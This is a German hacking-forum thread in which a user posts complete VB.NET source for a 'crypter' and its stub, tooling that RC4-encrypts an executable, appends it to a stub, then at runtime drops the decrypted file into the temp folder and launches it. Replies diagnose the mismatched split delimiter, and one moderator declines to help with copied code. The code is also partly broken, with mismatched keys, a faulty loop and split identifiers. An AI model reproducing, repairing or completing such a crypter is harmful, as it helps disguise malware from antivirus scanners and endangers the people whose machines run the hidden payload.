PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : crypter vb 08 prob



xtreme ernst
21.10.2010, 20:20
hallo bin gerade bei mich mit cryptern zu beschäftigen
hab probirt mir selber ein zu coden aber die .exe wird zerstört
er öfnet ein cmd fenster und das wars

crypter code



Imports System.Text
Public Class Form1
Const filesplit = "@xtreme@"
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Dim openf As New OpenFileDialog
If openf.ShowDialog = Windows.Forms.DialogResult.OK Then
TextBox1.Text = openf.FileName
Else : Exit Sub
End If
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Dim filein, filename, stub As String
Dim lol As New SaveFileDialog
If lol.ShowDialog = Windows.Forms.DialogResult.OK Then
filename = lol.FileName
Else : Exit Sub
End If
FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
filein = Space(LOF(1))
FileGet(1, filein)
FileClose(1)
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & filesplit & rc4(filein, "sonixisthebest"))
FileClose(1)
MsgBox("Crypted!")
Me.Close()
End Sub
Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(a) = a
System.Math.Max(System.Threading.Interlocked.Incre ment(a), a - 1)
End While
Dim x As Integer = 0
Dim b As Integer = 0
While b <= 255
x = (x + sbox(b) + key(b)) Mod 256
Dim tempSwap As Integer = sbox(b)
sbox(b) = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Incre ment(b), b - 1)
End While
a = 1
While a <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Incre ment(a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function

Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox1.Click

End Sub
End Class

stub code


Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Const filesplit = "ma"
On Error Resume Next
Dim TPath As String = System.IO.Path.GetTempPath
Dim file1, filezb4(), filezafter As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
file1 = Space(LOF(1))
FileGet(1, file1)
FileClose(1)
filezb4 = Split(file1, filesplit)
filezafter = rc4(filezb4(1), "ma")
FileOpen(5, TPath & "\CryptedFile.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(5, filezafter)
FileClose(5)
System.Diagnostics.Process.Start(TPath & "\CryptedFile.exe")
Me.Close()
End
End Sub

Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New System.Text.StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim b As Integer = 0
While b <= 255
Dim ctmp As Char = (password.Substring((b Mod intLength), 1).ToCharArray()(0))
key(b) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(b) = b
System.Math.Max(System.Threading.Interlocked.Incre ment(b), b - 1)
End While
Dim x As Integer = 0
Dim a As Integer = 0
While b <= 255
x = (x + sbox(b) + key(b)) Mod 256
Dim tempSwap As Integer = sbox(b)
sbox(b) = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Incre ment(b), b - 1)
End While
b = 1
While b <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(b - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Incre ment(b), b - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function
End Class

kann mir fill einer sagen wo das prob ist

FaxXer
21.10.2010, 20:22
Mach dein Code erstmal in Code Tags...

xtreme ernst
07.11.2010, 18:09
hatt keiner ne ide woran das ligen kann ? das sich die datei nach dem crypten nicht ausführen lässt?

sn0w
07.11.2010, 18:13
Vielleicht weils nur c&p ist und du keine Ahnung hast, was das ganze macht?

Ixam
07.11.2010, 18:40
crypter:
Const filesplit = "@xtreme@"
stub:
Const filesplit = "ma"

filesplit muss in Crypter & Stub gleich sein!!!

Sawyer
07.11.2010, 19:02
Code ist kopiert und auch noch schlecht formatiert. Derartiges wird hier nicht unterstützt. Beschäftigte dich richtig mit dem Thema Programmieren in VB.NET oder lasse es ganz bleiben!